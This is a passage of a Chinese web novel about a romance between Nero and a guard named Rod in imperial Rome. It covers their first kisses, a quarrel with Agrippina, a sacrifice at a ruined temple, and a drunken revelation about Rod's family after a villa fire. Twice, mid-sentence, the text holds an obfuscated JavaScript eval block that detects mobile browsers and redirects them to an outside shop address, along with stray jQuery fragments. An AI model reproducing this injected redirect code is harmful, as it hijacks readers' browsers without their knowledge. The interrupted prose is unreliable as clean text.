尼禄顿生慌张。他的呼吸变得不顺畅,紧张而卑微地问:“你……你不喜欢吗?”
罗德没有回答,抬手圈住他的脖颈,与他额头相抵。
他凑近尼禄的嘴唇,很狡猾地,在他颤动的唇锋上舔了一下。
尼禄象浑身血液都凝固成水泥一样僵硬。
罗德撤回来,微微发红的脸色显得很温柔。
他轻笑着问:“你想憋到什么时候再吻我?”
尼禄象呆傻了似的愣住。
罗德微微前倾身体,轻咬了咬他红通通的耳垂,再用舌尖舔舐着,一边□□一边以低沉而性感的嗓音说:“难道你不想吻我吗?我亲爱的卢修斯……我亲爱的尼禄……”
尼禄象酩酊大醉一样,捧过他的后脑。
罗德盯他一会,微笑着闭上眼睛。
尼禄小心翼翼地探过头,吻了他。
永不后退的命运洪流,在这一刻逗留了一下下。
贴上罗德双唇的一瞬间,尼禄的眼前浮现许多美好的意象,如春天新抽的嫩芽、冬日里的温暖阳光、金光四溢的日出。他的眼前泛起白雾,全身都有奇异的轻盈感,感到时间在无限拉长。
一股浓稠的、无法言喻的幸福感在尼禄内心扎根,象疾速生长的巨人,近乎要撑胀他的灵魂。
喜极的尼禄忽然特别想流泪。
他的喉头酸涩,不可抑勒地颤抖着,发出微小的哽咽声。
罗德睁开眼睛,担忧地推开他,问道:“怎么了?”
“我有点想哭……”尼禄搓了搓鼻子,鼻尖和咽喉一齐被酸涩堵住。
他捂着脸,从指缝里发出嘶嘶的抽气声,好象一个难以呼吸的病人。
罗德神色复杂。他挽着尼禄的肩膀,轻轻吻了吻他的侧脸。
“为什么?”他轻声问道。
尼禄侧过身,紧紧抱住他。他很清楚自己的心脏在咚咚直跳,也能清楚地感受到罗德的。他们的心脏跳得太剧烈,几乎要撞在一起。
“因为我太幸福了……罗德……”尼禄语无伦次地说,“我知道我不是一个配得上幸福的人,但我却得到了……”
罗德亲吻他的鬓发,手指滑进他的银发,有些心酸地安慰他:“你配得上,尼禄……你会一直都幸福的……”
尼禄激动地浑身颤抖。他将脸埋进罗德长发间,拼命汲取他身上清爽的气味。
44. 古怪的神庙
第一次接吻的尼禄今晚注定失眠。
他在被窝里辗转反侧,时不时用指尖去触摸嘴唇,反复回想在树间与罗德的亲吻,每回想一次就能产生跟当时分毫不减的幸福。
他高兴得睡不着觉,以至于通宵兴奋到第二天黎明。
奴隶被他摇响的铃声召唤,端着水盆和毛巾前来,浸湿从希腊海底采摘而来的海绵,蘸点皂角水伺候主人洗脸。尼禄用盐粒清洁牙齿,将新鲜的羊毛脂擦拭在脸上。
家奴将刻满文字的蜡板递给他。这上面写着他今天的行程。
尼禄浏览过一遍,将蜡板丢在一边。他对着铜镜换上熨烫良好的袍子,傻乎乎地笑起来。
奴隶奇怪而胆怯望他一眼。他们的主人从没在起床时心情这么好过。
初吻之后的尼禄非常想再见到罗德,简直是迫不及待了。
他换好衣服立刻跑下楼,发出咚咚的脚步声,因为激动跑到半途时还打滑一下。他趔趄着穿过回廊,来到罗德的卧室门前。
房门还紧闭着。
尼禄急切的脚步戛然而止,他跑得有些气喘。面对罗德关紧的房门,他象接受神明检阅一样屏住呼吸,紧张得心跳加快。
他小心翼翼地抬手,以极轻的声响地敲两下门。
他的手还没落下门就打开了。
“你起得可真早。”罗德透过门缝冲他浅笑。
他刚洗完脸,脸颊上还有浅亮的水珠,睫毛和眉毛皆被清水濡湿,漆黑的眼睛湿漉漉的,黑白分明。
尼禄下意识地吞咽一下,“……你开门开得好快。”
“你下楼时我就听见动静了。”罗德侧了个身,用下巴指一下屋里,“进来吧。”
此时窗外的星辰还剩几颗没有淡去,象凝固在蓝玻璃里的几片亮粉。
罗德的洗漱过程相当简单。他随便地擦两下脸,将手里的毛巾随意甩在窗口的悬绳上,连最基本的油膏也不涂。
尼禄替他点燃油灯,鹅黄色的烛光盈满整个空间,房间里瞬间亮堂起来。
罗德绑好靴子的绑带,再把最常佩戴的长剑别在腰间,面容是一如既往的沉着。
他套好轻薄的黑外衣,将厚厚的长发从衣服里捞出来。
“今天你还要出门吗?”他开口问道。
罗德的语气很严缜,是那种公事公办的清冷口吻,好象他忘记了昨夜才与尼禄接吻的事实。
心思敏感的尼禄见他如此淡漠,不免无措起来。
他回想着蜡板上的行程说:“日落之后有个祭祀仪式,需要我过去一趟……”
“祭祀?”罗德整理的动作慢下来,面色依旧霜冷,“又来了一场祭祀。”
“为了祈求洪水息止。”尼禄有些怏怏的,“既然怪病可以通过祭祀查出病因,民众们相信洪水也能以此而停止……”
罗德系紧衣领,“那你翻新剧场的计划呢?”
“只能等祭祀结束后再说。”尼禄的声音越来越小,“那本来就是一个庞大而复杂的工程,需要很长的时间去筹资和设计。”
罗德坐到他身边,用手指蘸了蘸水,梳理有点乱翘的头发。
“你打算怎么设计?”他边扯着头发边问,“找你手下的那些建筑师吗?”
“嗯。”尼禄沉闷地点一下头。
他幽幽地瞄着罗德,眼神显得很黏稠。罗德乌发黑眼,再配合他炽烈的红唇,自然就给尼禄一种色彩上的刺激。
“那真是一件牵扯众多的麻烦事。”罗德说。
尼禄忽然有些委屈。他轻薄的鼻翼缩两下,闷声说道:“我们能不能不说这些……”
罗德拉扯头发的动作顿住,“你想说什么?”
尼禄朝他靠近一些,眼角慢慢染红,拘谨地搓着手。
他盯着他形状美好的双唇,局促又期待地问:“我……我可以象昨天晚上那样亲你吗?”
罗德愣一下,紧接着就笑了笑。他索性将还未理顺的鬓发撩到肩后,将嘴唇显露出来。
“可以。”他应允道。
尼禄小心地挪过去,扳过罗德的双肩,微微发抖的手指顺着他的脖颈上移,象昨晚那样捧起他的后脑。
罗德很配合地仰起脸,慢慢闭上眼睛。
尼禄紧盯罗德的双唇,屏着呼吸越凑越近,脸皮象饱蘸脂粉一样通红。橘红的烛光曳动于他可称为痴迷的眉眼。
他既紧张又躁动,颤抖着贴上罗德的嘴唇。唇瓣相抵之时,他无比真巧地感觉到罗德嘴唇的柔软,以及温热的温度,他每一根神经都有愉悦的感受。两人的气息交缠在一起,极近地扑打在彼此的脸上,十分灼热。
尼禄的后背不由地战栗一下。
罗德闭着眼睛,温柔地圈住他的腰背。
尼禄受到鼓励,殷切地去蹭他柔软的双唇,有一点唾液的、黏黏的交流,他出于本能去吮吸和轻咬,觉得很舒服。来自罗德的气息和津液,让他饥渴太久的灵魂发出颤栗,象恶狼觅食一样,边吞吃血肉边觉得饥饿感更加强烈。
尼禄吻着吻着就陷入狂乱,骨子里的侵略性和占有罗德的欲望骤然涌出。
他甚至恍惚地站起身来,倾身压上去,以猛烈的力气去啃咬罗德的嘴唇。
罗德尽可能地回应他,攀紧他的肩膀,唇间传来一阵阵被啮咬的疼痛。
这演变成一个进攻性十足的吻。
毫无技巧的尼禄不会掌握气息和力度。罗德被他吻得呼吸困难,脸侧渐渐变红,在憋闷得实在撑不住时推开了他。
尼禄双眼迷离,心脏重重地跳着,头脑象浆糊一样迷蒙。实际上他也很憋闷,只不过他吻得太过热烈,全然忘记了身体上的憋闷感受。
他看见罗德红着脸气喘着,嘴角有自己留下的水渍和牙印,有一点象是被凌|辱的意味。
尼禄如梦初醒,连忙道歉道:“很抱歉……我不太会接吻。”
他有些羞赧地说:“你是我吻的第一个人……我从没有亲吻过别人……”
罗德微微喘息,只消顷刻呼吸就恢复平稳。
他扬起一个极浅淡的微笑,“看出来了。”
刚刚陷入热恋的尼禄特别喜欢肢体接触。他黏人地拥抱住罗德,双手贴紧他的后背抚摸着,感受他脊背的骨形。罗德的每一处,哪怕是一丝头发一个眨眼,都能让他傻呵呵地乐起来。
“我喜欢抱你也喜欢吻你……这种感觉好舒服。”他兴奋地说,“你喜欢吗?”
罗德拥紧他的背,唇角勾起一个微笑,“我很喜欢。”
尼禄侧过脸,试探性地亲吻他的鬓角,羞怯地红着脸问:“那……那我可以再吻你的嘴唇吗?”
罗德背过他渴望而炽热的视线,指了指窗外行将迸发的晨光,笑着说:“一个举止严谨的贵族不应该在日落之前亲吻他的伴侣……”
尼禄有些低落,动动嘴唇刚想说点什么。
这时敲门声响起来,一个奴隶隔着房门禀报道:“主人,皇后来了。她现在在庭院里等着您。”
罗德从尼禄的怀抱里退出,脸色变得严迫起来。
尼禄顿了顿,脸上的羞红逐渐被沉暗所替代。
……
阿格里皮娜穿着繁琐的黑色裙袍,头顶一只黄金打造的发冠。一张半透明的黑纱罩在她没有妆容的、素净的脸上,使她有一种厚重肃穆的气质。
在还没睡醒的苍蓝天色下,她浓黑的身影刚硬而顽固,象一块干涸了的墨渍。
尼禄一脸漠然地走进庭院。他没有让罗德跟着自己。
阿格里皮娜冷冽的眼光透过黑纱,扫过儿子赭红的衣袍。
她不满地训斥道:“这些天是你父亲的忌日,你不能穿这么明亮的颜色!”
尼禄平淡地说:“既然你已经另嫁他人,失去了作为他妻子的身份,那么我也有权拒绝你的要求。”
阿格里皮娜表情僵滞,依旧冷静地说:“这是我理性思考后的决定。你知道我所做的一切都是为了谁……”
“为了我父亲的宏图伟业。”尼禄声音低郁地揶揄道,“你和他都理智到毫无人性,实在是珠联璧合……”
阿格里皮娜看着儿子。他银白的、毛绒绒的卷发本身其实很可爱,但配着他冷郁的脸孔,反差之下就显得十分病态。
这一瞬间她联想到与尼禄有相似面貌的卡里古拉。
阿格里皮娜心生不好的预感,沉下脸说:“你不能象你舅舅那样,总是凭着一腔无影无踪的情绪去做事。他的感性毁掉了他的帝业……”
“毁掉他的不是感性,而是愚蠢。”尼禄冷冰冰地打断道,“他是一个糊涂到连军队的传令节都弄丢的赌徒,连作为教例的资格都没有。”
阿格里皮娜沉默起来,对他的话无言以对。
她安静片刻,冷漠地说:“克劳狄乌斯这段时间一直对你抱有怨言……”
尼禄稍稍撇过脸去,浑身上下都散发出抗拒的气势。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239661|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“如果你今天是来劝我结婚的,那你现在就可以走了。”他不容置喙地说。
阿格里皮娜有些凶躁,“你真的要置王位不顾了吗?”
尼禄冷眼相对,以酷似陌路人的眼神直视她。他的冷漠是从灵魂深处散发的,没什么人情味。
紧迫的沉默横亘于母子之间。
阿格里皮娜与他僵持一会,扯了扯飘动的黑头纱,黑纱之下的棕眼睛象幽深之井一样令人胆寒。
“不管怎样,我都会让你当上皇帝的……”她口气坚决地说。
尼禄扫她一眼,直接转身走回殿里,没有打算为他的母亲送行。
……
祈祷洪水息止的祭祀在离洪水最近的神庙里举行。
神庙地处偏僻,但距离尼禄的新庄园很近,就在同一座山的半山腰处。
山脚尽被浸泡在黄褐色的泥水中,水面上还有流经而来的白褶,原本宽阔的商铺街被冲成一条泥沙河。
尼禄和罗德乘坐轿子来到神庙。此时已经是日落时分。
他们需要为今夜的祭祀做万全的准备。
神庙的一根根廊柱已经剥落外皮,庙前的大理石喷泉早就枯萎,窗户里的彩色玻璃也掉了几块。唯有尚存的一点壁画和石雕能显出它曾经的华丽。
这里衰老而破旧。一走进去,其中厚厚的积灰和交织的蛛网,就能使人感受到衰败和死亡。在疲惫的金色斜阳之下,更象一处古老的遗址了。
神庙里已经没有圣女驻守。尼禄当即命令奴隶们打扫干净,还让手下去别的神庙请几名能主持祭祀的贞女。
罗德走进满是扬尘的庙内,灰尘多得几乎要蒙住他的脸。他静静扫过这座荒凉的神庙。
他用指头拂一下圣火台,思索着说:“这座神庙用的大理石材料属于上乘,当初一定用了不少钱。”
尼禄用衣袖挥了挥鼻前的灰尘,“可它已经衰落得不成样子,连大祭司和圣女都抛弃了它。”
奴隶们提着油漆桶爬到拱顶,匆匆忙忙地刷漆。他们铲去蜘蛛网,往地上泼水再用笤帚扫干净,修补破碎的彩色玻璃,还用野鸡毛拂去台面的灰尘。
奴隶忙不迭地混合草木灰和油脂,擦洗蒙着灰的墙壁,再打上一层薄薄的蜡。
被擦干净的墙壁显现出拼接完美的马赛克壁画,十分精美,色彩和当年一样鲜明。
罗德被壁画的色彩吸引,走到墙壁前。
眼前的马赛克壁画描绘着神话中潘多拉打开魔盒的时刻。
半裸着的潘多拉身材丰腴,皮肤象羊脂一样润白。她蓬松的红发上戴着花冠,一只手抱着一只巨大的黄金魔盒;而她另一只白嫩的手拿着钥匙,正对着金盒的钥匙孔,正犹豫着要打开它。
壁画的做工极精巧,魔盒由真正的黄金铸造,焊贴在马赛克壁画上,连钥匙孔都做得细腻而逼真。
罗德勾起手指,扣了扣那一处突起的金盒,发出脆脆的响动。
他轻笑着说:“壁画里的盒子居然用真黄金制作,其他神庙可从没这个待遇。”
尼禄粘乎乎地跟到他身边,解释道:“这座神庙曾经是罗马最豪华的建筑,就连看守圣火的圣女也是最多的。”
罗德放下手,沉静的眼底跃起一丝微弱的疑惑,“那为什么会沦落成这个样子?”
尼禄回想着,忽然放低声音说:“因为一件丑闻,好象牵扯到贞女的清白什么的……”
“说说看。”罗德若有所思。
“具体的我也不太清楚,只知道有个圣女被秘密活埋了……”尼禄因顾忌而轻声说,“平民们都不知道那件事,很多贵族也不知道……”
罗德抬眼问道:“元老院封锁了那件事?”
“那是一场足以动摇罗马人信仰的丑闻,必须要掩盖……”尼禄将声音压制得象蚊子一样,“让它寂静地死在坟墓里,总比搅起罗马天翻地覆的动荡要好。”
罗德想了一会,“那个时候,这座神庙就开始衰败了吧。”
尼禄点了点头,“所有的圣女都调去了别的地方。大祭司也因为难辞其咎,退去了高贵的祭司身份,降职成为一名军官……”
他稍作停顿,棕色的眼中有着晦暗的光泽,“那个大祭司叫门希,是总与我作对的奥托家族的人。”
罗德一瞬间就想到那个嬉皮笑脸的、穿着女装的安东尼,沉定的脸上出现险峻的神色。
“又是这个麻烦的奥托……”他语气危险地说。
45. 黑暗中的教导
两人没有闲谈很久,戴着白面纱的圣女就赶来了。
她们摇着铃铛念着咒语,将熬炼得浓稠的牛奶浇灌到神像头顶。奴隶们宰杀七头母牛,将温热的牛血泼洒在台阶上。圣女们切割牛头,清洗干净后整齐摆在洒满坚果的祭坛上。
由于神庙的很偏僻,山脚下又洪水泛滥,前来参观的民众很少。
整场祭祀在冷清中结束。
送走圣女后,奴隶用石灰扫清牛血,擦拭飞溅到廊柱和壁画上的血迹。
罗德将一条长白纱盖在七只牛头上。新鲜的牛头被热水冲洗过,在寒冷的神庙里还冒着热汽。
神庙里的血腥气很浓重,血水流淌进地面的马赛克缝间,空气里弥漫着一股腥膻味。
“这庙里臭得几乎要从空气里生长出苍蝇来。”尼禄轻微地皱着眉,咕哝一句。
他扒着罗德的手臂,半个身子靠过去,将侧脸贴在罗德的长发上。软绵绵的银发搭落到他的睫毛,从发丝间透出遮遮掩掩的、星点般的精光。
他红着面颊低声说:“我们去外面吧……”
罗德瞥他一眼,转身走去外面。
此时一钩弯月悬于夜幕中,十分细长而银亮。干燥的山林间有秋叶清涩的味道。
罗德戴着黑手套,洁白的指尖伸出来,走过神庙门前的残碎的石像。
金黄的烛光从门内扫出来,照亮一小片结满寒霜的草坪。他的脚步顿在这里,后背象贴了一片黄金。
尼禄搂住他的腰。初恋之中的他特别黏人,时时刻刻都想和罗德待在一起。
他嗅了嗅微涩的空气,有些陶醉,指着夜幕中的弯月说:“你看现在的月亮,象不象从天上掉下来、挂在树梢上的神杖?”
罗德轻淡地瞟一眼,“也象一道用指甲抠出来的破缝。”
尼禄只是微微怔一下,象被迷惑一样被这个修辞说服。
他攀紧罗德的腰,傻乎乎地微笑道:“还是你比喻得更好一些……”
罗德扫视四周。凛冽的山风吹动青树,发出的飒飒声响宛如虫齿啮咬之声。
他将视线轻轻上抬,黑亮的睫毛泛着银白,“再往山上走一段,就到了你的庄园。”
尼禄点点头,“它偏僻得几乎无人打扰……”
他顿了顿,忽然微妙地一笑说:“庄园里有很多价值连城的雕像和宝石。我向你提过的,还记得吗?”
“嗯。”罗德应道,“我当时建议你新挖一个地窖来存放那些东西。”
尼禄神情乖巧地说:“我已经这么做了。”
他的卧蚕因为笑意而丰盈起来,“我让奴隶在庄园底下凿了一个新地窖,还请一位埃及省的建筑师设计了一把无懈可击的锁……”
“什么锁?”罗德斜看过去。
尼禄神秘地微笑,“那把锁需要两只钥匙同时拧才能开启。”
罗德的眼里略过一丝讶异,神情凝滞一下。
“我准备将这两只钥匙做成一对戒指,戴在我们的手上。”尼禄几乎是骄傲地说。
罗德挑起一边眉毛,浅笑道:“听上去不错。”
他冰锋般的皮靴一动,踩出一只只湿润的脚印。尼禄紧跟而上。
两人围着神庙行走。尼禄的长袍被山风灌得鼓起,他象甩不掉似的黏在罗德身边,仿佛是他的另一个影子。
罗德突然驻足,盯向神庙后方的一处平地。
那里长满干枯的荒草,荒草被风吹得象麦田一样翻滚,衰败得象另一处世界。
在半人高的草间,影影绰绰地堆着几座简陋的坟墓,前面竖着墓碑,在夜晚显得十分阴森。
罗德警觉起来,“那些是坟墓吗?”他问。
“是的,每一处神庙都有一块墓园。”尼禄解释道,“如果有年轻的圣女意外而死,她们没有资格葬入广场,只能被葬在这里。”
山风穿透墓地吹过来,无疑沾染什么来自冥府的冷意。荒草的影子在罗德脸上晃动,使他的眉目间染上一丝诡谲。
“这里是不详的地方。”罗德冷着脸说。
他挽着尼禄的手走回到光亮的庙门前。
神庙前矗立着两排残破不齐的石像。这些石雕的流线圆润而精致,底座有黄金镀边,材料却被风雨侵蚀得发脆。
尼禄抬手一碰,就有碎块混合着石灰掉落下来。
“这座神庙由我的舅舅卡里古拉翻新过一次。”尼禄拍去手上的石灰,“所以才会变得如此奢侈。”
罗德疑道:“他为什么要翻新这座地处偏僻的神庙?”
“谁知道呢……”尼禄轻叹,“他做起事来总是愚蠢得出人意料,又沉迷赌博,连最重要的传令节都会忘记丢在了哪里。”
罗德顿一会,紧锐的眉宇间涌现一些疑问。他思索半天没有说话,良久才冷冰冰地开口道:“这会是他被刺杀的一个缘由吗?”
尼禄看着他,神情逐渐凝重起来,“那件事很蹊跷,因为据说他和他的亲卫……也就是你的父亲,表面上一直还算是相处融洽。”
罗德神色一凛,一丝讥诮蹿起到他的唇角,紧接着慢慢淡化下去,一副满不在乎的样子,使他自带一些高傲的气质。
他口气平稳地说:“我有一个谜团一样的父亲,和一个永远都无法知晓的母亲……”
尼禄怔愣半晌,忽然牵住他的手,郑重地说:“我会去查的,你的身世,甚至是你从未见过面的生母,我都会帮你找出来。”
尼禄的卷发尽被风吹起,显露出清爽的前额。月光从上到下打照在他的脸庞,他眉锋高挺,鼓起的卧蚕之下有两片淡淡的阴影,清瘦的面颊轻微地凹陷,显出颧骨与下颚共同折出的光影,有十足的艺术感,再配合他骨子里散发的忧郁气质,就有希腊时代的、具有悲剧色彩的美。
罗德为这样的尼禄所触动。他伸出手抚摸尼禄的脸庞,再顺后插进他的卷发。
他凑近他怔怔的的脸孔,低声说:“我教你……”
尼禄圈紧他倾靠过来的腰,心里已有颤栗般的预感。他没有说话,箍着罗德走进一旁浓厚的树林之中。
在这个草木繁茂的、能够遮羞的山林之中,大部分月光被挡在外面,一切都难以视清。
罗德后背抵在树干上,双臂环着尼禄的脖颈。
尼禄在黑暗中摸索着,与他紧紧贴在一起。出于索求的本能,此时此刻他特别想抚摸罗德,而且是罗德光裸的皮肤;但他一摸过去,就是冰冷的剑柄和厚实的皮革。
“别急。”黑暗之中响起罗德安抚的话语。
罗德稍微推开他一点,暗色之中只能看清他大致的轮廓。他循着尼禄呼出的热息的方向,贴上他颤抖而发烫的嘴唇。
尼禄象一触即发一样,猛然抱紧他。
原来生命是一件这么美好的事。尼禄在狂乱之中想到。
这个意识几近颠覆他平生所有的悲观成见,他才是那个重生的人。
他们吻了不太长的时间,结束时意犹未尽,在漆黑一片中去抚摸罗德的脸。罗德脸颊发烫,呼出的热气也是。
他摸着摸着忽然笑了,语无伦次地说:“我想给你一切……罗德,是你让我活得象一个完整的人。我真恨不得把我的生命和灵魂都给你……”
罗德倾靠在他怀里,象以往一样埋进他滚烫的颈窝。
“又在矫情,”他笑着说,“不过我很喜欢。”
此时树林外响起奴隶们呼唤的声音。
罗德按着尼禄的前肩想推开他,但没有成功,因为尼禄箍得太紧。
“他们已经打扫完了。”罗德从背后摸了摸他的卷毛,凑近他耳边提醒道,“我们该走了。”
尼禄闷闷不乐地转过脸,用力地啄一下他的嘴唇,才结
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239662|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
束了这个黏乎乎的拥抱。
……
从神庙回家时已经接近深夜。
罗德和尼禄走进家宅,换上绵软的鞋子。奴隶端着铜盆,肩上搭着毛巾,请两人洗手。
尼禄将肥皂递给罗德,等到罗德洗好了,他才用剩下的肥皂和水清洗。
这时,掌管消息的家奴急急忙忙地迎上来,跪到他们面前。
尼禄不耐烦地轻叹,“这次又是什么事?是我母亲的还是元老院的?”
“……都不是。”家奴慌张地望向罗德,“是拉丁姆区的一处别墅失了火……”
尼禄愣住,用毛巾擦手的动作滞缓下来。不同于他的惊诧,罗德只是顿了一瞬间,沉着地问:“谁的别墅?”
“是前任行政官……也就是尤利乌斯的别墅。”家奴说,“他在火灾中受了点轻伤。”
罗德将毛巾挂在奴隶肩上,重新换回出门时穿的皮靴。
他一边蹲着系着绑带,一边不慌不忙地对尼禄说:“我大概要明早才能回来。”
尼禄跟他一起换好鞋子,将刚脱掉的斗篷重新穿好,殷切地说:“我要跟你一起去……”
罗德按住他躁动的双肩,冷静地说:“一场小火灾,用不着行政官亲自临场。你要在民众眼前保持适当的威严。”
他没有给尼禄反驳的时间,乌黑的身影象离弦之箭一般,很快消失在漆黑的门外。
……
抵达拉丁姆区时,火势已经被火警控制住了。
别墅的大理石圆柱被火烧裂,雕刻的天神脸孔被烟火熏得黢黑。这是一场引人瞩目的火灾,滚滚浓烟从厅殿上方冒出,跳动的火光象不断鼓胀的红包,胀裂进一隅天空。
别墅的主人是尤利乌斯,前任皇后麦瑟琳娜的父亲。在昆汀和麦瑟琳娜悉皆命陨后,颓丧的他一直闭门不出,整天酗酒,跟他的阉奴寻欢作乐。
罗德让手下的火警疏散围观看热闹的市民,找到别墅的奴隶询问火灾的原因。
原来尤利乌斯和阉奴们在浴池里寻欢作乐时,不小心打翻蜡烛,引燃了储存橄榄油的油桶。
据说当时他的阉奴吓得推开他就跑了。年迈的尤利乌斯行动不便,在推搡之中脚底一滑撞到池角,额角磕出一道不浅的伤口。
火警员连接水泵,往火势减小的别墅上喷水。深灰色的浓烟越来越重,象一匹破布一样在空中飘扬。
尤利乌斯由奴隶搀扶着,头上缠绕着渗血的纱布,衣衫不整地坐在被水浇湿的台阶上。
失去女儿和外孙的他,颓废得就象一滩不成形的烂泥。
罗德拿过蜡板和金属刻笔,走到他的面前。他需要对这场火灾做一个记录。
尤利乌斯喝得满脸通红,络腮胡乱糟糟地翘起,衣袍沾上大片的葡萄酒和油渍,浑身都散发着酒气。
他无理取闹似的蹬着腿,咒骂着弃他而去的阉奴:“那帮忘恩负义的婊|子们……我要用烧红的铁棍插进他们的眼睛里……”
搀扶着他的奴隶拍拍他的肩膀,提醒主人抬起头来。
尤利乌斯慢慢抬眼,先看见罗德的铁靴和长剑,沿着包裹皮革的腿脚一路扫过,最终定格在他的黑眼黑发之上。
视野模糊的他有恍如隔世的怔愣。
“泰勒斯……”尤利乌斯眼神迷醉,肥厚的嘴唇可笑地动弹着。
醉酒的他思索很久,眨眼的速度越来越慢,迷迷糊糊地说:“卡里古拉终于舍得把你的手从床榻上解开了……”
罗德心里一紧,口气锋利地说:“你说什么?!”
尤利乌斯打个酒嗝,挺着象皮球一般的啤酒肚歪躺在石阶上。
“他处死了你的父母和姐姐……”他醉醺醺地眯着眼,象是在说梦话一样:“在仇人身边生活一定很痛苦吧……”
罗德惊住,指甲猛然陷进木板的蜡层里。
46. 交换戒指
尤利乌斯说着醉话,小声咕哝着栽进奴隶的怀抱,很快就打起鼾来。
他的鼾声响亮得好象能把奴隶的胸骨震碎。
罗德向他的奴隶询问一些火灾的细节。这将作为他呈交给元老院的灾情材料。
别墅的大火被火警扑灭,灰红色的余烟翻滚着,向别墅往空中吐的气。尤利乌斯的阉奴们无措地聚集在别墅门前,个个都长相清秀,露出的后脑勺烙烫着家印。
罗德瞥见那群年轻的阉奴,拿起金属刻笔问:“那些都是你们主人的财物吗?”
奴隶艰难地扛起沉重的尤利乌斯,恭顺地回答道:“是的。油桶着起来时,他们在伺候主人沐浴。”
罗德在蜡板上刻写着,拂去刻划出来的蜡油碎屑。
他边写边问道:“他们被买下有多长时间了?”
“这个不一定。有的伺候主人已经五六年了,有的还不到一年。”奴隶说,“主人很宠爱这些阉奴,赠给他们丝绸和珠宝,还准许他们躺着吃饭和喝掺蜂蜜水的葡萄酒。”
罗德不由地惊异。尤利乌斯对于阉奴的宠幸绝非一般的程度。
这场缘起于玩乐的火灾所幸没造成死亡。
火警队收回梯子和水泵,收集一些烧成残骸的油桶和布匹。
罗德找了几个亲临火灾的阉奴做口述,刺破他们的拇指在记录的羊皮纸上按血印。他集合出动的火警,分发他们奖金。
罗德就这样忙碌到半夜,披着一身夜光回到家。
厅殿的每个房间都燃着壁炉,火光鼓胀起来顶撞着大理石墙壁。从百叶窗的缝隙里透出宛如鸟绒般的橘光,穹顶象压制不住火光,几乎要被盛烈的火光掀翻。
刚刚从夜色和劳累中返回的罗德在庭院里驻足,略显疲色的眉眼逐渐舒展。
二楼的百叶窗在这时被推开,好象是被卧室内的火光冲开似的。在那拱形的窗框内,立着一个高高瘦瘦的、拥有蓬松卷发的剪影。
罗德的嘴角扬起一个温和的笑意。
尼禄扒着窗口冲他招手,连发丝都在乱颤。
“我一直在等你。”他颇为激动地说,“快吃饭吧!”
罗德卸下长剑和军靴,微笑着走进温暖的厅殿。
餐桌上摆着一碗用牛奶炖成的麦片粥,粥面上撒有蒸熟的南瓜碎。鱿鱼片被油煎得翻卷起来,粉白的嫩肉上浇淋着黑胡椒汁,高脚果盘托着几串紫葡萄和切成块儿的梨。
尼禄为罗德拉开椅子,将洁白的餐布垫在粥碗下。
两人相对而坐。
尼禄用餐刀划开鱼肉,放到罗德的盘子里。
“我听家奴说,尤利乌斯的别墅几乎变成了一颗火球。”他说,“他需要为这场搅乱人心的火灾付出赔款。”
罗德迅速而安静地吃着麦片粥,回想着说:“他酗酒,脸浮肿得象被水浸泡一样。”
尼禄的神色稍显阴暗,“他大势已去。要不是手下还掌管着几千名有威慑力的精兵,他早就被元老院里的政敌弹劾到行省去了。”
罗德很快将麦片粥吃光,伺餐的奴隶连忙重新端上来一碗,这次的粥面上撒着腌制的贻贝。
罗德一直垂着头,将贻贝碎末搅开。他的眼神因思索而微微凝滞,搅拌的动作越来越慢。
“我从他嘴里听说了一件事,”他低沉的嗓音从长发之下传出,有些晦暗,“事关我的身世。”
尼禄切割鱼肉的动作停住,轻松的脸色骤然收敛,郑重地问:“什么事?”
罗德放开长柄汤匙,紧抿双唇缄口很久。他的嘴唇尽处于鬓发扫下的阴影中,于是连话语也象是从阴影里催生的了:“我的父亲与卡里古拉有超越主仆的关系,甚至可能……”
他顿了顿,紧绷绷地说:“……可能在很长时间内做过他的禁脔。”
尼禄惊诧得猛地握紧餐刀。
罗德朱红的唇瓣抿合很久才张开:“据说卡里古拉还处死了我父亲的父母和姐姐……”
尼禄惊疑地问:“你的父亲还有个姐姐吗?”
“对。”罗德轻微地点一下头,“如果那个尤利乌斯酒后吐真言的话……”
尼禄思虑一会,细挺的眉毛颤动着聚到一起。
“这么说……你整个的家族都死于我的舅舅之手,包括你的祖父母。”他怔忡着说。
罗德冷静地抬眼望向他。
尼禄这么想着愈发惊恐,脸色于一刹那变得青白。一股几乎会湮没神识的慌张席卷了他,他的脸庞象染血一样涨红,手里晃动的餐刀与银盘碰出一连串脆响。
罗德走到他身旁,挽住他颤抖的肩膀,安慰道:“或许那只是一个醉汉的胡言乱语。”
尼禄下意识地抓住他搭在肩上的手,反应得很激烈。他的痛苦是从本能里迸发的,是无法抑制而颠覆所有的。
“如果是真的呢……”他象是在哀鸣,“你会因此而与我有隔阂吗……罗德……”
罗德倾身从背后拥抱他,双臂环住他的脖颈。他的下颌贴覆上尼禄的卷发。
“你忘了……”他以轻缓的语气说,“我们都是血缘的囚徒。”
尼禄有被揭开伤疤一样的伤痛感。
罗德平静地说:
“因为无法选择的血统,迄今为止我只能隐姓埋名地生活。我从小在军营吃尽苦头,对罪恶的姓氏守口如瓶,在听到别人的谩骂时只能吞咽。这种象蚁虫幽居一样的日子我压根不想要,但还是被不负责任的父母强制带到这个世界、被迫面对这一切。我的出生,就象一场以生命为幌子的绑架。可笑的是,就连身为绑匪的父母,我都不知道他们是谁……”
尼禄停止了颤抖,面色象沉没一样深暗。他站起身抱住罗德,却在一直沉默。
